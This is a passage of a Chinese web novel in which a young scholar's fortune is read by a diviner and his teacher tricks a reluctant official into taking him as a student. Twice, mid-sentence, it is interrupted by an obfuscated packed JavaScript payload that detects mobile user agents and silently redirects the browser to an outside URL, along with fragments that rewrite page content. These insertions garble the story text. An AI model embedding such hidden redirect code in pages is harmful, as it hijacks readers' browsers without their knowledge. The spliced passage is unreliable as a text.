“二爷您忘了？这未冠题和及冠题是分两个榜的，您是未冠题的案首！” 正当段之缙恍然大悟的时候，外边的吵闹声愈发大，老远便听见了白老夫人中气十足的声音。 “缙儿，我的儿，快出来叫外祖母好好看看！” 29.第二十九章 命格 老太太是金玉堆里善养的老人家，心里又慈善，每日上午都是念经祈福，求佛祖保佑家人，几十年如一日雷打不动，今天也是高兴过了头，竟抛下她的佛祖，亲自踏入了段之缙的小院来看望这个外孙。 段之缙听见外祖母的声音，不敢耽搁，连忙将身上整理了一下，起身出门迎上去。 只见白老夫人身边一层层得围着人，老仆人有体面，就能近近地贴着恭维，说我们二小姐果然是会教养孩子，小小年纪竟然是案首老爷，高中时岂不是要给我们二小姐挣来一个诰命？把白老夫人逗得哈哈大笑，叫这个院子里所有人都赏两个月的月钱，阖府上下都要沾沾喜气，赏一个月的月钱。 段之缙等着仆人散去，这才上前行礼问安，又被老夫人一把拉住。 “我的儿，你有大出息，真真是了不得了！”老太太身子瘦小，只拍了拍段之缙的臂膀，说到此处，又牵动了爱女的愁肠，内心悲痛万分。 “幸得你母亲还有一个你这样的儿子，要不然她的后半生要如何，我都不敢想……”白老夫人泪眼婆娑，段之缙赶紧上前为其拭泪。 “母亲和外祖家待孙儿恩重如山，孙儿便是剖心挖腹也无以为报，定然叫母亲晚年和乐。” 一个小小的县试案首，作为淮宁巨富之家主母的白老夫人实在是看不到眼里。 她见的太多了，县试算个什么？多少天之骄子最后默默无名了？ 只是她挂念着女儿，她的心肝宝贝肉，在家里的时候金尊玉贵地养着，只让她看这世上的奇珍异宝和曼舞轻歌，没吃过一天的苦。 要出嫁时，也是为她特意选了一个读书人，就算是女婿考不上举人、进士，家里也愿意出钱给他捐一个官职。 谁承想，把个好好的宝贝疙瘩填了虎狼窝去了！ 现如今缙儿学问好，只要能考上秀才，便是再不能考也没关系，王家还能出钱，给他也捐一个官上去。 如今得见女儿后半生有望，白老夫人如何能不欣喜若狂？这才急匆匆地从自己的院子来到这，再好好看一看段之缙。 此时琼香终于抱着十两银子的宝贝猫，挤到了前边，刚才白老夫人听他报喜的时候就已经知道了这猫儿的来历，隆兴路上的瞎子是这有名的活神仙，只是这些不出门的小子不知道罢了，因而很是珍重那猫儿和“神仙”的批语，现在已经找了下人去隆兴路请老先生再来批一次。 她抱过那猫儿，顺了顺毛发，递给了段之缙，段之缙不知哪里出的猫儿，一头雾水的接过。 “这狸奴是名唤连科，是一路连科的好兆头，你的书童得力，竟然只花了十两银子便能得了，也是你有这个福气。我可得叮嘱好了你，把它当活祖宗伺候着，不要拿它当畜生待。” 段之缙疑道：“不知是何缘故？” 老夫人刚要解释，逢春嬷嬷打外边进来，凑在老夫人跟前耳语：“老太太，隆兴路上眼盲的算命先生已经不见了，奴婢请了咱们家惯用的原久通先生来。” 老夫人颔首，那眼盲的算命先生虽然名声大，常被叫做是活神仙，但来去无踪，因而家里惯用的先生是原久通，他的道行也十分高深，想来解一个批语是不在话下的。 “这猫儿的事儿叫你的小书童与你解释，你现在随我去正堂见原久通先生，解一解你的批语。” 批语？ 段之缙把怀里的肥猫提了一提，回头看一眼凑堆儿嘀嘀咕咕的书童，怎么也琢磨不明白，就叫他二人出去看个榜，如何就算上命了？ 外祖母吩咐，段之缙只好听从，刚要把猫儿放下，老太太转头一看叮嘱道：“连科也带上。”段之缙苦笑一声，把那在地上滚了一遭的猫儿有搂在怀里，跟在老太太身后去正堂。 一行人刚进正堂，便见一奇伟男子，身材高大，身着一袭宽大的青色道袍，袖口与衣襟处绣着淡淡的云纹，仿佛随时会随风飘散。 相貌也颇为独特，面容清瘦，颧骨微凸，双颊如刀削般棱角分明。眉如远山，超然物外，最奇的是须发皆白却面如中年之人。 他上前施礼：“老朽这厢有礼了。” 管家王伯赶紧扶住，白夫人也回礼：“先生客气，请坐。今日请先生来是想解一解我外孙儿的批语。”语罢，白老夫人便从袖中取出那瞎子写的批语，递给原久通。 原久通展开一看，只见上书：甲木逢申月，七杀当权而偏财透干，正印归墓却伤官吐秀。四柱金寒水冷，幸得丙火暖局，子水通源。观此命盘，如孤松立雪，自有一番傲骨峥嵘。 “这命是何人所批？” “那隆兴路的盲眼先生，大家常叫他活神仙。” “怪不得……”原久通捻一捻胡须，朝段之缙招招手，仔细看了一番他的长相，又要了生辰八字推演，半晌笑道：“命苦之人，却是造化无穷啊！这是您的亲外孙？” 白夫人一顿，解释道：“养在我女儿名下，和亲生无异。”又急问：“何以解得？” 原久通指着八字细说：“申月金气肃杀，甲木凋零，七杀庚金透出月令，如刀斧临身，主少年坎坷，多受压制。然七杀成格，绝非庸碌之辈，杀重需制化，愈是历经艰难险阻愈能成就一番大事业。” 说到此处，原久通笑着瞧一眼段之缙，“与你父亲关系不好吧？” 子不言父之过，段之缙不能做任何表示，只是垂首沉默。 不过沉默已经足以说明很多事情了。 “月干透戊土偏财，父星明现却坐杀地，父子刑克，父性急躁，不施恩义，反成你早年之劫。你没有祖业可依，还需自己求自己的前程才好。” 中了！段成平的确处事急躁，目前和将来也不会对段之缙有何助力，只能说不拖累就已经很好。 想到此处，段之缙开口：“敢问先生，我与母亲、姨娘如何？” 其实他不是很想问母亲之事，只是当着白老夫人的面，还得将王虞排在前边。 “壬水正印藏于年支辰土墓库，母星入墓，主母子情深却缘薄，慈母恐要早亡啊……然子水通源，印星暗藏生机，即便失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14995138|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母，也还有长辈慈爱眷养，想来该是你的母亲。” “可有破解之法！”这一段又正中施姨娘的命运，在原来的世界里，施姨娘此时已经去世了，即便是现在段之缙来了，也是心惊肉跳，从京城到淮宁这一路上不断写信问讯姨娘近况，到了安平县也是近乎日日去信，只有来信里说一切都好的时候才会放下心来。 原久通起身凑到段之缙的面上，又细细地盯着他的五官看，竟然有些惊奇：“你这个面相有些怪，该是一团雾气才对，那你生母早亡几乎无法可解，可不知为何，阴气竟然散去，倒也不用担心生母如何……”他说着，又仔细看了看，竟笑道：“你生母的福气恐还在后头呢。” 说完，原久通又转向老太太：“老夫人，您得一个好外孙啊！时柱乙木伤官透干，吐秀生辉，这是聪颖过人的命格。不过还是小心，伤官性傲，不屑俗流，你要教导他化戾气为文气，多读书上进才是正路。” “再者，申金子水，金水成势，局中寒气逼人，幸时柱丙火高照，如寒夜明灯，暖身护命。丙火为命局枢纽，无火则木朽金顽，有火方成‘杀印相生，伤官配印’之贵格。你这一路上虽然艰难险阻不断，只要能坚持住，必有贵人提携。” 这的确是一个很不错的命，老太太该问的问完了，又叫原先生看一看连科猫儿，原先生仔细打量一番，也看不出什么，只能如此作罢。 白老夫人终究是年纪大了，现在将近晌午，也有些疲惫，只叫段之缙一人去送送原先生，就在往正门走的时候，原久通突然凑到段之缙耳边问道：“与你母亲的关系也不好吧？” “先生这是哪里的话，母亲慈爱，对小子恩重如山。” 原先生玩味地看一眼段之缙：“年支辰土藏乙木劫财，你母亲携财而来，虽叫你衣食丰足，然劫财夺爱，母子离心，终成利益之交，难以真心相待。” 又中了，段之缙无话可说，尴尬地摸了摸鼻子。 “我刚才不说，也是为了你好……还有，你伤官配印，文星耀世，但是七杀压身，初试多阻，千万不要因为名次不好而气馁，想那些捐官的路子，你这命里只能自己拼搏，绝不能依靠父祖。” 段之缙拱手道谢：“小子多谢先生教诲。” 原久通拍一拍段之缙的肩膀，最后说了一句：“为官，就要为好官，若不能为生民立命，光你一个人死就算了，恐怕还要连累家人。若是能坚守正道，你晚运走火土旺地，杀印相生至极，权倾朝野，名留青史不在话下。逝后子水通源，荫及子孙，说不定还能得天子供奉。” “你这个命虽苦，但也是难得的贵命，积德惜福，才能上报天恩。” 这些劝告和书中的事情一一对应。 初试多阻，原身第一次要考试时，丧母守孝。 不积德惜福，连累家人，原身为二皇子在地方做了一些脏事，果然弄得个家破人亡。 不管这个原先生是怎么回事，段之缙也为他能劝诫鼓励自己心怀感念，郑重一拜，亲自扶着先生上了马车。 30.第三十章 强行拜师 送走了原先生，段之缙又回到院子内，先问候祖母的身体，才带着两个书童回到自己的住处。 现在尘埃落定，自己竟然能得中案首，倒真是出乎意料了，因而展纸写信，将近来的情况传回京城。 写着写着，刚才还安分着的连科一下子蹦上案，灰扑扑的毛发盖在纸上，弄得脏污一团。 “这是怎么了？”段之缙摸摸它的毛，又沾了一手灰，也不嫌弃，好好搔了搔猫儿的下巴，又揉了揉肚子，这才叫丫头把它抱下去洗洗，另起一张纸重写。 一边写字，一边问道：“那猫儿是怎么回事？” 两个书童你抢我我抢你地答了，最后竖着大拇指赞一声：“真是活神仙！” 段之缙失笑，“你们那荷包里装着多少银子？” “十两银子，都在那荷包里呐！二爷您猜怎么着，幸好有十两银子，不然连科可就带不回来了！”王章兴高采烈，失了赏钱也开心得很。 段之缙倒是不再说话，他对着原先生半信半疑，是因他真说中了原书中的事情，可瞎子神仙没有说一句话，是真有些道行还是骗术高超还未可知。 最重要的是，在段之缙看来，这两个人一上来便自报家门，说出了他俩是要看县试榜的，人家猜及冠与未冠也不过是概率问题。 琼香不会撒谎，算命的又一贯会揣摩人心，听着琼香故作声势的话，便能够断定自己猜对了。 至于什么“从南到北，又从北到南”的说法，更是简单，自己在安平县试，籍贯定然在南方，王章又说得一口流利的京话，和说南话的琼香格格不入，自然而然便能想到是主人家从北方带来的。 这岂不就是从南到北再到南？ 也许就是瞎猫碰上死耗子罢了。 不过虽是这么猜的，段之缙却没必要说出来，叫两个书童伤心。 等着手下的信写好，详说了王家外祖的近况，身子骨如何，施家外公并一个亲舅舅去了南方走商，连外祖母也跟着去。又宽慰沈白蘋，杨家舅舅近况还好，自己府试之后还会再去拜访，最后才说自己县试已过，竟然是未冠题的案首。 将信细致地叠好，又吩咐人把那上元节得的流光溢彩的花灯包好，一块儿送到京里去，自己再歇上一天，明日便要开始准备四月中旬的府试了。 他这么美滋滋地想着，把刚才看的《七侠五义》展开，刚要沉溺其中，便听得秦先生那大嗓门嗷嗷地喊。 “缙儿！段之缙！快跟先生出来，今天咱们一块儿去望星楼庆贺一番！” 然后砰的一声，门就大敞开，秦先生瘦削的脸笑得眼都挤没了。 “真是我教出来的好学生，没丢份！” 段之缙瞅瞅手里的书，明天又要上课，今儿再出去应酬自己可受不了，婉转回绝：“先生，只是过了县试而已，倒也不必如此，不如等着府试也过了再去庆贺。” 秦先生可不依，他朝着段之缙后背一拍，假嗔道：“偏你整天闷在屋子里，闷的脑子都不灵光了……不是想知道先生的身份吗？出来吃饭就告诉你。” 这下段之缙可不能拒绝了，把手里的书一合就要跟着先生走，又被先生回头望一眼，狐疑道：“你带钱了没有？” “没有。” 秦先生啧了一声，“你不会想要为师付钱吧？” 段之缙恍然大悟，从床头的小匣子里拿出了一张五十两的银票，却又听得秦先生啧了一声。 “扣扣嗖嗖的……拿一百两！” 一百两银子!望星楼还卖龙肝凤髓吗？ 段之缙虽不解其意，还是老老实实地揣上银子，跟着秦先生上马车。 如今都已经三月多了，天渐暖，外边还有一些不碍事的小雨，丝丝绵绵的，落在人身上仿佛一层薄雾，觉察不到什么。 听着街道两旁熙熙攘攘的商贩叫卖声，段之缙有些好奇，刚要掀开帘子看，又被先生的话钓去了精神。 “今天说是去庆祝，实则是为了叫你拜一个新老师。” 啊？ “可是先生，您不就是我的老师吗？” 秦先生道：“我自然是你的老师，可今儿我要再为你找一个更强的。李显光不是已经跟你说了，知府陈望祖喜爱鞭辟入里之论吗？今日给你找的这个先生，极为了不得，他在十几年前便能不靠排偶得中二甲传胪。” 二甲传胪就是殿试的第四名，排在探花之后。 在十几年前就能不靠修饰辞藻名列二甲传胪，不知能写得何等的雄文。 可段之缙却有些担心：“先生，这样的人物，能愿意教导学生吗？” 秦先生神秘一笑：“你就瞧着吧，大家都是老熟人了，我把孩子带过去亲自求，他怎么还好意思不收！” 车声粼粼，终于停到了望星楼前，门口两个招待客人的童子立时上前，扶着秦先生和段之缙下车，又垂首问道：“敢问客官是几位？” “一共五位，我们已经订好了穿月堂。” 小童便带着二人上楼去，正是那熟悉的穿月堂。 段之缙上前为先生开门，可门一打开就见两张熟悉的面庞，倒把他惊得忘了为先生让路。 不是县令李显光和郑崑瑛是谁？ “别在这挡着碍事，叫为师先进去。” 段之缙便闪身让开，秦先生大步踏入，一把搂住了李显光，又大笑着捶了他一拳。 “知县大人，你好难约啊！偏偏今日才有空？” 李显光一拳捣回去，笑着回：“你倒是无官一身轻了，我刚放出来榜，就农忙了，这田间地头我还能不去？” 郑崑瑛对着秦先生拱手施礼，也跟着解释：“我们大人上午刚从田里回来，马不停蹄就来了这望星楼。” “你是他的师爷，你自然是向着他。” 秦先生假嗔一句，回头招招手把段之缙唤过来：“问声好吧。” 然后又朝着李显光挤眉弄眼，“你不陌生吧？故意压着人家的名字不放榜，专门站人家身后看卷子，还用他给你磕头吗？” 本朝的规矩，秀才老爷才将有资格见官不跪，因此段之缙见到李显光，按理应当下拜。 可秦慎之都这般说了，李显光还能怎样，讪笑一声：“我这是害怕他跟着你有样学样，见自己榜上有名便不来考试了。既然你说不跪，那便不跪。” 因而段之缙只上前行拱手礼，口称大人，又朝着郑崑瑛笑道：“郑兄，我们又见面了。” 郑崑瑛也回施一礼。 四个人围桌而坐，一个小童手捧托盘推门而入，盘中是一身望星楼伙计的衣裳。 他朝秦先生道：“客官，您昨日吩咐的衣裳已经准备好了。”说着，又扫了一眼段之缙与郑崑瑛二人，“是叫哪一位少爷更换？” 正喝茶的秦慎之拍拍段之缙的肩膀，将手里的茶杯放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15012339|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“缙儿，跟着这小童去把衣裳换了。” 段之缙摸不着头脑：“这是为何？” 秦先生捻着自己的胡须凑到段之缙耳边说了一通，直把段之缙说得面红耳赤。 “这……这不好吧……” “哎，为师求了他甚久，现在也只好霸王硬上弓了。叫他教你两个月，最起码，一路中秀才没问题。” 段之缙仍在犹豫：“可是这也太……” “别可是了！为师和他也是至交好友，他就是懒得慌，不愿意教学生，今年破例收了郑崑瑛，说什么也得把你收了！” 秦先生都如此说了，段之缙也只能听命，跟小童一块出门换衣裳，又在那酒楼内间学习侍奉茶水的技艺，就等着倒霉的先生自己送上门。 日头渐落了，已经学得心烦气躁的段之缙才听到有人来唤，他默念了一番泡茶的步骤，抬着紫檀木盘进了穿月堂。 里边果然多了一个中年男子，眉间三道竖纹，很不好亲近。 段之缙走进门站定在桌前，执起青瓷盖碗时，手腕还微微发着颤，原因无他，今天倒了一下午的水，到现在已经精疲力竭。 默念着“温杯需顺时针转三圈”，执铜壶倾斜，沸水撞在杯壁，待茶具都温热了，将水一齐泼到茶盘中。 再放入武夷红茶，用了温度稍低的水冲洗，再次倒出，红茶特有的松烟香便在穿月堂弥漫开来。 最后一注水，不过一呼吸的时间，茶汤已经下色，再泡便要出苦味了，段之缙忍着烫把茶水分别倒在四只小茶碗中，呈给在座的四人。 段之缙按照秦先生的吩咐，将最后一杯茶呈给生面孔，憋得脸红脖子粗，被秦先生瞪着才开口道：“先生，请用茶。” 中年人不疑有他，先轻轻嗅了一番，嫌弃道：“怎么叫你这样的生手来泡上好的武夷红茶？白浪费了这样的茶叶。”然后试探着浅嘬了一口。 段之缙当即跪下磕头，赤红着脸大声喊道：“多谢先生收下学生！”倒吓得那中年人一个哆嗦。 “哈哈哈……” 秦慎之和李显光二人对笑，郑崑瑛这个知情人也别过面去偷笑，段之缙恨不得找个地缝钻进去，那中年人还懵着不知发生了什么事。 “蒋育成！你今天喝了我这学生的拜师茶，又受了他的头，总不能再推辞了吧！” 中年人，也就是蒋育成先生这才恍然大悟，感情这饭是专为请他的！ “你们这些浑人！这教学生还有强买强卖的？”他嘴上怒气冲冲，心里却也觉得好笑。 “我说呢，一个俸禄养活自己都不够的七品官，一个一毛不拔的铁公鸡，怎么就为了德润拜师的事情专门请客了，感情是在这等着我呢！” 表字德润的郑崑瑛见蒋育成先生视线移到他这里，忙收敛表情，一派正经了起来。 蒋育成说完又转向脸皮薄的段之缙，睨了他一眼，说道：“快起来吧，我茶也喝了，头也受了，也稍松一松口。” 段之缙又深深下拜，喜道：“多谢先生！” 蒋育成却“哎”了一声，“事儿还没完呢，郑崑瑛的水平我是深知的，这才收下了他。不收你，一则多一人不如少一人，二则，虽你外祖救过我，可你父亲的大名我也知道……不过现在这两个浑人都这般了，又叫你这样的小孩子亲自来求，我脸皮薄，不好意思为难你……只要我问的你能答上来，我就收下你，如何？”